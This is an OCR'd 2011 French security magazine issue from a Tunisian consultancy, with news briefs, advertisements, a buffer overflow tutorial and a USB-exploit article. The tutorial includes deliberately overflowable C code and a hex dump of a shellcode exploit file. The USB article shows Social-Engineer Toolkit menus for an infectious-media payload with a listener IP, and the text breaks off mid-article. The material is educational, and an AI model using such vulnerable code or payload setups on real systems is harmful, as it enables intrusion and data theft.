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Exploiter la célébre faille Windows.

GESTION ET CORRELA-
TION DES LOGS

Problématique et Solutions.
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EDITORIA

a révolution tunisienne, de méme que les
révolutions qui I'ont suivies dans le mon-
de arabe, ont montré a quel point les
technologies de linformation et de la
communication et particuliérement les réseaux
sociaux (facebook, twitter,...) sont capables de
mobiliser en quelques clics de souris, des dizaines
de milliers de personnes, autour d’'un objectif don-
né et tisser entre elles des liens sociaux, sans s’é-
tre jamais rencontrés, transformant ainsi radicale-
ment les modes et les pratiques usuels sociales et
associatives.
Ces technologies sont devenues d’usage courant,
a la portée de tout un chacun, aprés avoir conquis
le monde des affaires et les administrations.
Elles sont devenues incontournables dans toute
activité humaine touchant aussi bien a la sphere
privée que professionnelle et sociale.

Dés lors des questions se posent lors des échan-

ges sur la toile :

e Est-on sir que les données que nous considé-
rons comme confidentielles et strictement per-
sonnelles sont bien protégées contre un acces
quelconque ? La Confidentialité,

e Est-on sdr qu’un service en ligne vital au bon
fonctionnement d’'une organisation sera et res-
tera toujours disponible ? La Disponibilité,

e Est-on sir que les données recues sont
conformes aux données réellement émises
par leur expéditeur initial ? L’ Intégrité,

e Est-on slr que I'identité de I'expéditeur n’a pas
été modifiée lors de la transaction ou encore
est-on sOr que I'expéditeur est la personne
qu’il prétend étre ? L’Authentification et I'l-
dentification,

Toutes ces question et tant d’autres, dont dépend
la pérennité et I'image de toute organisation, relé-
vent de ce qui est communément appelé
« Sécurité des Systémes d’Information » ou
plus couramment « Sécurité Informatique ».

www.ice-innov.com

Il s’agit [a de tout un métier dont les normes, les
méthodologies, les outils et les consultants sont en
une constante évolution et progression.

La société « Innovation and Consulting in Engi-
neering » (ICE), riche d'une expérience prouvée
en matiére d’Audit, de Conseil et de Recherche &
Développement dans le domaine de la sécurité
des systémes d’information a décidé de lancer son

magazine WHIT@HACK (Hacking Blanc) pour

sensibiliser davantage les décideurs et les techni-
ciens concernés par cette problématique et sou-
cieux de la pérennité de leur systéme d’informa-
tion contre tout risque d’atteinte a sa bonne mar-
che et fonctionnement normal, d’'une maniére for-
tuite ou par malveillance susceptibles de provenir
de I'extérieur de I'entreprise ou bien de l'intérieur
méme de son environnement.

WHIT@HACK se veut un magazine scientifique et

technologique qui permet a ses lecteurs de se fai-
re une idée sur les aspects importants de I'état
actuel de l'art dans cet important et complexe
champ d’innovations qu’est la sécurité informati-
que, en s’attardant davantage sur les questions
pratiques susceptibles d’aider a une meilleure pro-
tection de notre cyber espace national.

Bonne Lecture
L’équipe de rédaction ICE

ToHACK

COOPERATION

Les personnes intéressées par la coopération

sont invitées a nous contacter :

contact@ice-innov.com

Adresse de correspondance :

Rue Lac Leman Immeuble « MAK CROWN », Appart B2.
www.ice-innov.com

AVERTISSEMENT

Les techniques présentées dans les articles ne doivent en aucun cas
étre utilisées contre des personnes ou des organisations.

L'utilisation des techniques présentées peut provoquer la perte des
données.

Innovation and Consulting in Engineering (ICE) n’est pas responsable
de I'utilisation malveillante et/ou incorrecte des techniques présentées.

WHITSHACK -


http://www.ice-innov.com/

Actualité Nationale
Actualité Internationale

07 Démonstrations

Débordement de Mémoire Tampon

Tous le monde s’accorde pour dire que les déborde-
ments de mémoire tampon sont a I'origine de la plupart
des vulnérabilités logicielles. Ces vulnérabilités a leurs
tours engendrent des virus, des exploits,... .C’est pour
cela, qu’on a cru bon de prendre le temps, dans ce pre-
mier numéro, d’expliquer ce principe resté encore vague
pour beaucoup de personnes qu’est le débordement de
mémoire tampon.

13 Risques

Supports Amovible Inconnues (USB-Exploit)
Dans cet article vous allez voir comment les exploits au
travers des clés USB infectées sont devenus I'un des
principaux vecteurs de vol de données et un moyen
efficace de cyber guerre entre entreprises concurrentes.
Risques des Mises a jour Oubliées (MS08-067)
En tant que professionnel de [linformatique vous
connaissez surement l'importance des mises a jour.
Dans cet article, nous allons démontrer comment I’ab-
sence de ces MAJ peut concretement étre exploitée
pour s’introduire sur le systéme.

16 Problématique

Gestion et Corrélation des Logs

Vous avez une tonne de logs dont vous ne savez quoi
faire ? Vous voulez avoir une vision globale et compléte
sur le fonctionnement de votre systéme d'information ?
Vous avez des besoins de conformité a certains stan-
dards et normes internationales ? Si c’est le cas, alors
vous faites clairement face a une problématique de ges-
tion et corrélation de logs.

Innovation & Consulting in Engineering
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Le premier
club de seé-
curité infor-
matique uni-
versitaire
« SecuriNets » organise une
journée nationale de sécurité
informatique, le 30 avril 2011 a
I'Institut Nationale des Sciences
Appliquées et de Technologies
(INSAT) de Tunis. La journée
sera sous le théme « Tunisia,
Cyber Revolution ». Unique en
son genre, ce théme portera sur
la contribution de la technologie
et de I'Internet lors de la révolu-
tion Tunisienne.

Au programme, des ateliers
techniques retragant les événe-
ments phares de notre IT-
Revolution.

BCCﬁnis 2011

Business Conmnuiry ConvENnTION

La notion de Business Continuity
Plan ne pouvait mieux tomber ou,
pour étre positif et dans un
« Esprit Continuellement Cons-
tructif » nous dirons qu’elle ne
pouvait étre mieux prise au sé-
rieux. Vu les événements qu’ont
vécues nos entreprises tunisien-
nes ces derniers mois et les
craintes d’un arrét brutal de I'acti-
vité IT en particulier ou I'arrét

www.ice-innov.com

total de l'activité de I'entreprise en
général. En effet, ces derniéres
cherchent des solutions leur per-
mettant de mettre en place des
solutions de Continuité d’Activités
et des solutions de Gestion des
Crises. Et c’est dans ce cadre la
gu’a organisé la société belge AB
-DB représenté par Mrs Frangois
Vajda et Alain Boulanger et leurs
partenaires en Tunisie, le Busi-
ness Continuity Convention
Tunis 2011, qui a eu lieu durant
la journée du 14 avril a Hotel She-
raton-Tunis et qui a connu une
grande affluence vu limportance
de la problématique et la com-
plexité des études et des solu-
tions a mettre en place.

Une vague d’attaques massives
de déni de service (Deni of Ser-
vice DoS) distribuées DDoS a
été lancée le dimanche, le 02
janvier 2011, visant les princi-
paux sites gouvernementaux
tunisiens.

Les attaques se sont poursuivies
pendant la journée du lundi 3 jan-
vier, en changeant de cible, pour
s'attaquer a plusieurs sites, des
comptes e-mails et des sites de
réseaux sociaux.

Ce nouveau code-barres en 2D
présente de multiples avanta-
ges pour le grand public et
pour les professionnels.

Le code QR a été créé par I'entre-
prise japonaise Denso-Wave en
1994. Il est trés utilisé au Japon,

ou il est actuellement le code a
deux dimensions le plus populaire.
Ce code-barres est capable de
stocker différentes informations, il
est trés utilisé sur les cartes de
visites mais aussi sur les magazi-
nes et les affiches publicitaire, il
peut contenir toutes sortes de don-
nées : coordonnées personnelles
(nom, prénom, adresse, tél), infor-
mations sur un produit / une entre-
prise, adresse web, etc.). Le QR
code peut stocker jusqu'a 7089
caracteres numériques, 4296 ca-
ractéres alphanumériques (A titre
de comparaison, le code-barres
traditionnel se limite plutét a 13
caracteres). Son utilisation est
trés simple, il suffit d’avoir un télé-
phone portable doté d’'une caméra
vidéo et d’'un lecteur de QR code
qui est totalement open source. Le
téléphone portable photographie le
QR code pour récupérer toutes les
informations qu'’il contient.

E!
— o

Liberté - Egalité = Fraternité
REPUBLIQUE FRANCAISE

Le ministére de I'’économie et de
défense frangais était victime d'u-
ne grande attaque. Suite a cette
cyber attaque, plus de 150 ordina-
teurs du ministére ont été infiltrés
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et de nombreux documents ont
été piratés. Les attaques réussies,
se multiplient contre des institu-
tions européennes au sein de plu-
sieurs ministéres. Aprés la cyber-
attaque qui a touché le service
des affaires étrangéres de la
Commission européenne le 24
mars 2011, Bruxelles a été de
nouveau victime d’une action mal-
veillante, deux jours plus tard, le
réseau du parlement de I'Union
européenne a a son tour subi une
cyber-attaque.

||||IIIII

‘Eﬁ Turbomeca

an!!”  Groupe SAFRAN

Enquéte sur un soupgon de cy-
ber attaque contre le fabriquant
frangais de moteurs.

Turbomeca est le leader mondial
des turbines a gaz, ses moteurs
équipent des hélicopteres, des
avions, des centrales électriques,..
Le Renseignement frangais dirige
ses enquétes vers une éventuelle
piste de cyber attaque et d’espion-
nage industriel... Les données
subtilisées concerneraient les
systémes d'hélices et les don-
nées financiéres du groupe Sa-
fran, la maison mére de Turbo-
meca. Le groupe SAFRAN englo-
be entre-autre la société SAGEM.

' WHITOHACK

Les principaux acteurs de
I'internet en France,
dont Facebook, Google ou
Dailymotion, ont déposé mer-
credi 6 avril un recours en an-
nulation devant le Conseil
d'Etat contre le décret qui les
oblige a conserver pendant un
an les données personnelles
de l'internaute.

Ce décret impose aux sites d'e-
commerce, plateformes de vi-
déos/musique en ligne ou ges-
tionnaires de boites e-mail
de conserver I'identifiant et le
mot de passe et, s'ils ont été
collectés, les nom et prénom,
'adresse postale, le pseudony-
me, I'adresse e-mail et le numé-
ro de téléphone de l'internaute.

Tout commence par une grande
opération de « Phishing » appe-
Iée « Phish Phry » utilisant des
mails infectés depuis les Etats
Unis d’Amérique et I’Egypte.
Cette opération se termine par la
plus grande inculpation devant
une coure fédérale en termes de
personnes (100 personnes) im-
pliquées dans des attaques

informatiques. Les jeunes pirates,
dont I’age vari entre 21 et 26 ans,
ont orchestré leurs attaques et
réussi a voler entre autres des
identifiants de cartes bancaires et
ont effectué des transferts depuis
’'Egypte vers les Etats Unis...

En Amérique, ce genre d’implica-
tions est pris trés au sérieux par la
cour fédérale et est passible de
prison qui peut aller jusqu’a 30 ans
d’emprisonnement.

Le cloud computing a vécu durant
ces derniéres années une crois-
sance explosive.

On parle aujourd’hui non seule-
ment de la virtualisation des ser-
veurs mais aussi de la virtualisa-
tion des postes de travail, ce qui
permet d’optimiser le colt et mini-
miser le temps d’administration et
de déploiement des applications.
L’Institut de normalisation I''EEE
(Institute of Electrical and Electro-
nics Engineers) a crée deux grou-
pes de travail. Un groupe pour
s’occuper de la normalisation de la
portabilité du cloud et son mana-
gement qui fait intervenir un cer-
tain nombre de formats de fichiers
et d'interfaces. Quant a lautre
groupe de travail, il s'occupera de
l'interopérabilité de nuage a nuage
et sa fédération. Par exemple, la
normalisation des passerelles qui
peuvent gérer I'échange de don-
nées entre clouds. D’autres orga-
nismes travaillent avec I'lEEE pour
la normalisation du Cloud Compu-
ting, ce qui permettra aux entrepri-
ses d'utiliser le cloud de fagon plus
efficiente et avec plus de confian-
ce.
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La Qualité par Principe

Parce que la Sécurité
de votre Systéme
d’Information est no-
tre priorité.

Contact :

E-mail : contact@ice-innov.com

Tel : (+216) 71 961 255
Fax : (+216) 71 961 301

Services ICE

Brochure ICE | www.ice-innov.com

Nos consultants sont a votre service

Les nouveaux enjeux de la maitri-
se du patrimoine informationnel et
des risques associés aux technolo-
gies de linformation modifient la
maniére dont nous devons aborder
les métiers de I’Audit, du Conseil et
d’Intégration dans le secteur de la
sécurité du Sl.

De la protection contre les intru-
sions, les virus et les chevaux de
Troie, a la maitrise des droits, des
identités, de nombreuses solutions
techniques séduisent les clients
par des fonctionnalités rassuran-
tes.

La sécurité des systémes d’infor-
mation s’envisage aujourd’hui
comme une discipline transverse
et intégrée, alliant des compéten-
ces spécialisées, techniques et
cross-sectorielle, a une connais-
sance fine des métiers, des pro-

cessus et des enjeux de nos

clients ou de leurs secteurs d’activi-
té.
La sécurité s’inscrit dans tous les
projets avec des besoins différents
certes, mais avec de nombreux inva-
riants méthodologiques, que nous
avons mis en perspective pour cha-
que client.
Nos prestations répondent a ces
enjeux sécuritaires majeurs a sa-
VOir :
e Un état des lieux de la sécurité
de votre systéme d’'information,
e Un conseil quant aux solutions
techniques et technologiques a
prendre,

e L’intégration de ces solutions

et choix au sein du Sl.
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B DEMONSTRATIONS

Debordement de
Memoire Tampon

Ce que vous allez Apprendre...

Apercevoir les symptébmes d’'un débordement de mé-
moire tampon,

Comprendre les notions fondamentales du débordement
de mémoire tampon.

Ce que vous devez Savoir...
Notion basique en informatique,

Introduction
Dans notre quéte classique du monde virtuel, sou-

vent, pour décrire un comportement anormal d’un
programme informatique, nous employons les ter-
mes « Bug » ou encore « Virus ». En effet, par
abus de langage, nous assistons a une confusion
des notions fondamentales informatiques.

Nous n’allons pas vous exposer un cours des fon-
dements de l'informatique, nous essayerons par
contre de simplifier la notion de « Buffer Over
Flow » que certains pourraient la résumer en un
« Bug » tandis que des hackers malveillants la
verraient comme étant la gestation de leur future
« Virus ».

A l'aide d’un programme simple préparé spéciale-
ment pour la démonstration nous vous montrerons
les étapes depuis I'apparition des symptémes jus-
qu’'a I'exploitation de la faille de débordement de
mémoire tampon.

Manifestation

mes !!
Qui de nous n’a pas vu un jour ce fameux messa-
ge d’erreur du systeme d’exploitation Windows ?

ice-magazine_demo_exe a rencontré un probléme et doit
fFermer. Hous vous prions de nous excuser pour le
dézagrément encouru.

Attention aux sympté-

Sivous étiez en train d'effectusr un travail en cours, les informations sur
lezgquelles wous travailliez peuwvent awvoir eke perdues.

Yeuillez signaler ce probléme & Microsoft.
Mouzs avons créé un rapport d'ermeurs que wous pouvez nous envoyer. Mous
traiteronz ce rapport confidentiellement et anonyrmement.

Four afficher les données de ce rapport d'erreurs, Cliguez ici.

iNe paz enwoyer

Ervvoper le rapport d'erreurs

Figure 1. Bug Windows

www.ice-innov.com

Alors qu’il ne représente qu’une éniéme frustration
et l'arrét du programme pour les uns, il fera I'objet
d’une investigation compléte pour d’autres.

Analyse : Du message d’erreur aux ori-

gines du « Bug »

Le premier reflexe qui nous vient a I'esprit est de
cliquer sur le bouton « Ne pas envoyer » (entouré
en jaune sur la capture écran), alors que pour dé-
couvrir les détails du comportement anormal il suf-
fit de cliquer sur « Cliquer ici » (entouré en rouge
sur la capture écran).

ice-magazine__demo_exe a rencontré un probléme et doit
fermer. Hous wous prions de nous excuser pour le
désagrément encouru.

Sivous étiez en train d'effectuer un travail en cours, les informations sur
lesguelles vous ravailliez peuvent avoir ete perdues.

Weuillez signaler ce probléme a Microsoft.
Mous avons crée un rapport d'ermeurs gue vous pouvez nous envoyer. Mous
traiterons ce rapport confidentiellerment et anonymement.

Pour afficher les données de ce rapport d'eneur

Ervoyer le rapport d'erreurs | 1iM¢

Figure 2. Bug Application ice-magazine.exe

En appuyant sur « Cliquez-ici », une fenétre s’affi-
che pour présenter les détails du bug.

Signature de l'erreur
AppM ame: dEsmmagazine_deme, sus-
Modvier 0.0.00 o Eal

Appiier: 0.0.0.0 ModMame: unknown

D étails du rapport
B2 Ep=at dlemee ey o (et comEEER LI de e mEnETe Gl e el EnET e
est survenu le probleme. 1a version du sustéme d'exploitation et I'équipement informatique utilisés. Votre
(B et et T8) e eyt P (oot ot (TS ot K a s Aol HEar] o Dt alv el et A o
1P de votre ordinater

esse Slectionique ou tout autre
. I= rappart deneurs peut

Mous ne demandons valontairement pas vos fichiers. nom. adresse.
forme dinformations pouvant servir & une

(lbes mas Em oeomudlo b ettt S i s cnels timss
mement du signalement du probléme. Ce rapport d'ermeurs sera
T e ST B U (s £ AR B £Teete (T ol (15 S P e thnr

via une
o (o s e

Pour consulter les techniques I= rappont d'erreurs,  Cliquez ici.
Pour consulter notrs procédurs de collscts de données sur notrs sits \Web, Cliques ici

Figure 3. Détail du bug ice-magazine.exe
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Débordement de Mémoire Tampon

Explications

Nous avons donc un « Bug » touchant notre appli-
cation « ice-magazine_demo.exe » et le problé-
me consiste en un « Buffer Overflow » 471414141
ou encore un « Dépassement de Mémoire Tom-
pan » au niveau de l'offset 471414141.

Qu’est ce qu’un « Buffer Overflow » ?
Le Buffer Overflow est un débordement de mémoi-
re. Quelle mémoire ? La mémoire vive de notre
ordinateur. Qu’est ce que la mémoire vive ? L'or-
dinateur a plusieurs types de mémoires dont il se
sert pour fonctionner. Sa mémoire vive est celle
qu'’il utilise pour stocker des données dont il sait
qu’il en aura besoin rapidement puisque sa parti-
cularité est dans la rapidité avec laquelle on peut y
acceéder et extraire ses données.

Au démarrage, le systéeme d’exploitation (windows
dans notre démonstration) et les variables d’envi-
ronnement sont chargés au niveau de la mémoire
vive, et lors de nos manipulations des différentes
applications, celles-ci sont chargées en mémoire
vive en fonction du besoin de l'utilisateur. Prati-
quement les mécanismes d’allocation et d'utilisa-
tion des espaces mémoires sont des plus com-
plexes, mais ce qu’il faut savoir pour comprendre
notre article c’est que la mémoire vive est utilisée
par le processeur pour exécuter un programme
donné et qu’'au niveau de laquelle nous trouvons a
des adresse bien précises les fonctions du syste-
me d’exploitation et les applications utilisées par
I'utilisateur. Comment un processeur frouve et
execute un processus (programme) ? Pour avoir
une analogie tirée de notre vie courante, prenons
le cas le plus simple d’'une maison qui peut étre
trouvée grace a son adresse (pays, région, ville,
rue, numéro). C’est le méme principe utilisé par le
processeur pour trouver et exécuter un processus
se trouvant sur la mémoire vive (pratiquement la
théorie d’adressage est beaucoup plus complexe
que cela).

Déborder la mémoire vive consiste alors a faire
appel (de la part du processeur) a une adresse
inexistante ou bien au niveau de laquelle il n'y a
rien a exécuter !

1 WHITSHACK

Je vous rassure tout de suite, nous n’allons pas
rentrer dans les détails, ni de l'architecture des
processeurs Intel équipant la majorité de nos ma-
chines, ni dans leurs modes de fonctionnement..
Pour mieux illustrer la problématique, je vous pro-
pose ce schéma représentant la macrostructure
de chaque exécutable sous Windows.

Header (entéte)

Data (données)

Pile (ESP, EBP, EIP, ...)

Figure 4. Macrostructure d’un processus sous Windows

Header : Permet de donner des informations im-
portantes au sujet du processus en question,

Data : Un espace propre aux données du proces-
sus a executer,

Pile : Cet espace sert a stocker des informations
temporaires, il permet d'assurer les retours de
fonctions. Pour simplifier cet espace contient entre
autre une zone mémoire dans laquelle nous avons
'adresse mémoire de la prochaine instruction a
exécuter de la part du processeur: c’est '« EIP ».

Analysons

Si on lance un processus et que I'espace de ses

« Data » déborde et écrase son espace réservé a

la pile et plus spécialement I'« EIP », alors le pro-

cesseur cherche a exécuter le programme se trou-
vant a |'offset se trouvant au niveau de I'EIP.

Ainsi plusieurs cas se présentent dont :

e Le processeur ne trouve pas de programmes
au niveau de I'adresse mémoire indiquée dans
EIP et cela fini par un message d’erreur Win-
dows (comme montré au début de l'article),
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Débordement de Mémoire Tampon

e Le processeur trouve 'adresse sur la mémoi-
re et trouve un programme a exécuter, sauf
que ce programme est malveillant, « Virus ».
Dans ce cas, pas de message d’erreur ni de
bugs, mais le poste de travail et les données
courent un grand risque.

Démonstration
Voici le programme avec lequel nous allons créer
un débordement de mémoire tampon.

Listing 1. Code source du programme de test

#include <stdio.h>

void overflow(void){
char buffer[50] = { 0} ;
FILE *fp = fopen("fichier_exploit.txt", "r");
fread(buffer, sizeof(char), 200, fp);
fclose(fp);

}

int main(void){
overflow();
return (0) ;

}

C’est un simple programme, écrit en langage C,

dont la tache principale est de :

1. Ouuvrir le fichier « fichier_exploit » en mode
lecture,

2. Lire le fichier « fichier_exploit »,

3. Fermer le fichier « fichier_exploit ».

La particularité de ce programme est qu'il utilise la

fonction « fread » pour lire le fichier

« fichier_exploit.txt ». Cette fonction recoit en

argument des paramétrées dont :

Listing 2. La fonction a déborder

fread (buffer, sizeof(char), 200, fp);

e 200 : le nombre maximum de caractéres ac-
ceptés en entrée par la fonction au sein du
buffer qui ne peut contenir que 50.

Tous les ingrédients sont la pour notre premier
« Buffer Overflow » !!

Nous avons une fonction « fread » dont I'espace
« Data » ne peut contenir que 200 caractéres et

www.ice-innov.com

qui va ouvrir et lire un fichier qui peut en contenir
plus de 200.

Tests
Test N°1
Nous introduisons dans le fichier

« fichier_exploit.txt » avec 217 caractéres « A »

Listing 2. Contenu du fichier fichier_exploit.txt

AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA

et exécutons le
magazine_demo.exe ».
Il en résulte le débordement de mémoire présenté
au début de larticle.

ice-magazine_demo_exe a rencontré un probléme et doit
fermer. Hous voug priong de nous excuszer pour le
dézagrément encouru.

programme « ice-

Siwous étiez en train d'effectuer un travail en cowrs, les informations sur
lesquelles wous travailiez peuvent avoir &te perdues.

Yeuillez zignaler ce probléme a Microsoft.

Mous avons créé un rapport d'ermeurs que wous pouvez nouzs envoyer. Mous
traiterons ce rapport confidentiellement et anonpmement.

Pour afficher les données de ce rapport d'erreurz, Cliquez ici.

Envayer le rapport d'erreurs

Figure 5. Débordement de mémoire tampon

Ayant les mémes détails d’erreur.

Signaturs de Ferreur

Apph ame <iZe-magazine_demo =
Offset 4141 4147>

tModvier: 0.0.0.0

Appver 0.0.0.0  ModMame: unknown

D étails du rapport
Ce 1apport d'erreurs inclut : des infarmations concemant 'état de ice-magazine_demao. exe au moment b
st survenu le probleme, la version du sustéme d'exploitation et 'équipement informatique utilisss, Yotre
Product ID numérique [qui peut Stre ulilisé pour identifier votre licence] et Padresse du protocole intemnst
[IF] de watre ardinatewr.

Mous ne demandons volontairsment pas vos fichiers. nom. adresse. adiesse Slectronique ou tout autre
farrne dinformations pouvant Servir & une [ . Cep . le rapport d'emeurs peut
contenir des informations concernant utiisateur. telles que les données figurant dans les fichiers
cuverts. Bien que de telles informations, si présentes, peuvent parfois permettre de déterminer votie
identits, elle ne seront pas utlisées.

Les données récaltées ne seront ublisées que pour résoudre le probléme. Si de plus amples informations
sont disponibles. nous vous le dirons au moment du signalement du probléme. Ce rapport d'erewurs sera
Envoye via une connesion sécurisée & uns base de données 4 acces mits ot ne sera pas utiise dans
un but de marketing

Four consulter les informations techniques concemant le rapport d'ermeurs,  Cliquez ici.

Pour consulter notre procédure de collecte de données sur notre site Web. Clouez ici. |7 Eamer

Figure 6. Les Détails du débordement de mémoire
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Débordement de Mémoire Tampon

Le processeur ne trouve pas de fonction a exécu-
ter au niveau de l'offset 41414141.

Test N°2

Cette fois-ci, nous construisons le fichier
« fichier_exploit.txt » d'une maniére a ce que
nous écrasons I'EIP avec une bonne adresse qui,
lorsque le processeur la pointe trouve une fonction
(programme) qui va afficher le message « Bufer
Overflow » sous-forme de message box.

Nous n’allons pas nous attarder sur la maniére de
construire le fichier pour avoir le bon débordement
de mémoire ni sur les outils et techniques de dé-
bordement (shellcode) de mémoire qui peuvent
faire I'objet de plusieurs articles a part entiere.
Nous vous montrerons juste les résultats.

A l'aide de I'éditeur HexEdit nous visualisons le
contenu du fichier « fichier_exploit.txt ».

Wi Hex Edit - [fichier_exploit. txt]

[:] Fle Edt Vew Operations Template Todks MWindow Help

'Gd|an C B e e W saser v 0[] 0
| G oG 4 R T1E
E] fichier_explait.kxt | K[}

00 01 02 03,04 05 06 07,0809 0& OB OC 0D OF JOH] D123456785ABCDER
00:( @0 90 90 90 90 90 90 90 30 90 90 90 90 90 90 S0(M.........e.a...
10:( 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 O0|................
20:/ 90 90 90 90 90 90 90 90 3090 90 90 90 90 90 90|........i.i.i...
30: 90 90 90 90 90 90 90 90 3090 90 90 90 90 90 90|..........e.....
40: 90 90 90 90 90 90 90 90 30 90 90 80 &0 FF 22 00|............ ° 0
50: 90 90 90 90 910 90 90 90 30 90 90 90 90 90 90 90|............i...
A0:| B A0 FF 22 00 S0 B8 78 1D B0 7C FF DO B& 00 00)...".P.{..|....
70:/ 00 00 50 B8 BOFF 22 00 50 50 B& 00 00 00 00 50|..P...".PP.....P
BO: BA EA 07 3D 7E FF DO BB 60 FF 22 00 FF E0 90 90|...="...".".....
B0:[ 75 73 65 72 33 32 2E 64 60 6C 90 90 90 90 90 90|userd2.dll......
42 75 66 66 BS 72 20 4F 76 65 72 66 6C 6F 77 [l |Buffer Overflow|

=]

Ready Ho BFh 175 Leng
—

Figure 7. Contenu du fichier construit pour le déborde-
ment de mémoire

A gauche, nous avons l'interprétation hexadécima-
le du contenu du fichier « fichier_exploit.txt » et a
droite l'interprétation caractére du méme contenu.

Nous testons I'exécution du programme et il en
résulte le « Débordement de mémoire » suivant :

Buffer, Owverflow E

Buffer Crverflow

Figure 8. Pas de bug - Apparition d’'un Message Box

1 WHITOHACK

Nous n’avons pas de « Bug » puisque le proces-
seur a trouvé un programme a exécuter a I'offset
indiqué par I'EIP.

Ce que nous avons fait c’est que nous avons injec-
té un shell code en assembleur au niveau de l'a-
dresse pointée par I'EIP qui a fait appel a la métho-
de MessageBoxA au niveau de la dIl Windows
user32.dll en la loadant a I'aide de la méthode
LoadLibraryA présente au niveau de la dll Win-
dows Kernel32.dll qui est toujours montée avec
n’importe quel programme Windows qui s’exécute.

Comment se protéger de ce genre de

failles ?

Techniquement si ce genre de « Bug » n’a pas été
répertorié auprés des éditeurs de logiciels, les pro-
tections mises en place au niveau du systéme
d’exploitation Windows et les antivirus vous prote-
gent.

La meilleure protection contre ce genre de failles
pour un utilisateur final, c’est un développement
qui ne fait pas appel ou/et gére bien (allocation
dynamique,...) les méthodes connues pour étre
faillibles a ce genre d’attaques dont on site fgets,
fgetc,...

Conclusion

Nous sommes arrivés a la fin de cet article qui
vous a introduit la notion de « Buffer Overflow ».
Nous avons essayé de ne pas trop axer la dé-
monstration sur le volet technique mais plutét sur
le concept.

Notre plus grand conseil c’est de ne jamais ou-
blier de mettre a jour ses applications ...

Références et pour aller plus loin
Livre : Buffer Overflow Attacks: Detect,

Exploit, Prevent.
Auteur : James C. Foster.
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Parce un
état des lieux a partir
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Contact :
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Nos consultants sont des auditeurs sécurité in-

formatique expérimentés

Vue la complexification de la struc-
ture des systémes d’information et
le développement des techniques
d’attaques informatiques, il est pri-
mordial d’avoir un avis externe et
objectif quant a la situation réelle
de la sécurité de votre systéme

d’information.

Dans cette optique ICE propose
toute une panoplie d’audits de sé-
curité informatique répartie comme
suit :

e Audit Sécurité Informatique,

e Audit Applications Web

(OWASP),
e Audit Test d’intrusion,

e Audit Informatique (ITIL),

e Audit Physique (TIA).

Forte de I'expérience et I'expertise
de ses consultants sécurité IT dans
les domaine cités ci-dessus, certifiés
ANSI, ISO 27001, CISSP, ITIL, CIS-
CO, Juniper, Microsoft, ICE (cabinet
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mes internationales en la matiére et
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gueur (ANSI...).
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ger la brochure correspondante a
votre besoin sur le site web

WWW.ice-innov.com.

Copyright © 2011 ICE. All rights reserved.


http://www.ice-innov.com/
http://www.ice-innov.com
http://www.linkedin.com/groups/Innovation-and-Consulting-in-Engineering-3837093
https://twitter.com/ICE_tunisia
https://www.facebook.com/pages/Innovation-and-Consulting-in-Engineering-ICE/189433051095576

[ RISQUES : Article N°1

USB-EXPLOIT

Ce que vous allez Apprendre...
A faire attention avant d’accepter une clé USB qui ne
nous appartient pas.

Ce que vous devez Savoir...
Outil BackTrack.

Social Engineer Toolkit

Metasploit

Introduction

USB-EXPLOIT. Est-ce le nom d’'une attaque infor-
matique pure et dure ? La réponse est NON !!!

La notion de USB-EXPLOIT est un mélange entre
une attaque informatique pure associée a ce
gu’appel les anglophones « The Social Enginee-
ring » et les francophones « L’ingénierie Socia-
le ».

Le but de cet article est d’attirer votre attention sur
les risques d'utiliser des clés USB dont vous ne
connaissez pas le contenu tout en parlant des
deux (2) volets de cette attaque:

e Volet Social,

e Volet Technique

Volet 1 - Ingénierie Sociale

Un jeune chef d’entreprise prometteur « Foulen »
et IT-Branché, participe a une conférence interna-
tionale sur les énergies renouvelables. Une
connaissance a lui « Felten », qui par la méme
occasion est un grand concurrent, intervient a I'oc-
casion de cette journée en tant qu'expert en la
matiére. Les deux jeunes hommes se rencontrent,
« par pur hasard », dans le grand hall de I'nétel et
engagent la conversation a propos de la situation
actuelle du marché, des nouvelles tendances de la
technologies,... Felten, un filou de l'informatique,
demande a Foulen s’il veut bien lire rapidement
son introduction et lui donner son avis d’expert.
Foulen ne voit aucune objection a cela au contrai-
re dit-il a Felten avec un brin de fierté le traver-
sant, et insére ainsi la clé USB dans son LapTop
HighTech NEW LOOK.

Deux (2) mois plus tard, Felten remporte avec brio

+1 WHITOHACK

un grand appel d'offres international déposant tous
ses concurrents techniquement et financiérement.
Le plus beau dans I'histoire, c’est que Foulen qui
a lu la fameuse introduction avant la conférence,
qui écope de la seconde place.

L’affaire ne s’arréte pas la parce que Foulen a
engagé a une boite de sécurité informatique pour
vérifier s'il a été victime d’une intrusion quel-
conque et il compte bien poursuivre la personne
qui I'a attaqué.

Volet 2 - Technique

Plein d’outils existent sur internet, libres et open
source, qui permettent de préparer des attaques
informatiques de ce genre. Nous n’allons vous
montrer que les grandes lignes de I'un d’eux :

ial-engineer.org

Over 1.4 million downloads and counting.

Figure 1. Outil SET - Social Engineer ToolKit de la suite
BackTrak4 r2
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USB-EXPLOIT

Une panoplie de choix d’attaques est proposée
entre autres. Ceux qui nous intéressent
« Infectious Media Generator » ou « Générateur
de Médias Infectés ».

Select from the menu:

Spear-Phishing Attack Vectors
. Website Attack Vectors
Infectious Media Generator
Create a Payload and Listener
. Mass Mailer Attack
. Teensy USB HID Attack Vector
SMS Spoofing Attack Vector
Update the Metasploit Framework
Update the Social-Engineer Toolkit
10 Help, Credits, and About
11. Exit the Social-Engineer Toolkit

Enter your choice: 3

un.inf file
cally r

Figure 2. Choix d’output

Aprés avoir choisi le type d’attaque voulu « 3 »,

SET nous informe qu’il va créer en plus de I'exé-

cutable en question un fichier « .ini » qui sera au-

tomatiquement exécuté deés l'insertion de la clé-

USB infectée au niveau de la machine victime.

La suite est un déroulement des différents para-

meétres de I'attaque dont :

e Le vecteur de l'attaque (un exécutable stan-
dard),

e L’adresse IP a laquelle va se connecter la ma-
chine de la victime (la machine de 'attaquant).

Pick what type of attack vector you want to use, fileformat bugs or a straight executable.

1. File-Format Exploits
. Standard Metasploit Executable

Enter your numeric choice (return for default): 2
Enter the IP address for the payload listener: 192.168.1.1
hat payload do you want to generate:

Figure 3. Vecteur de l'attaque et '@ IP de la machine
de l'attaquant

Il faudra par la suite choisir le type de payload ou
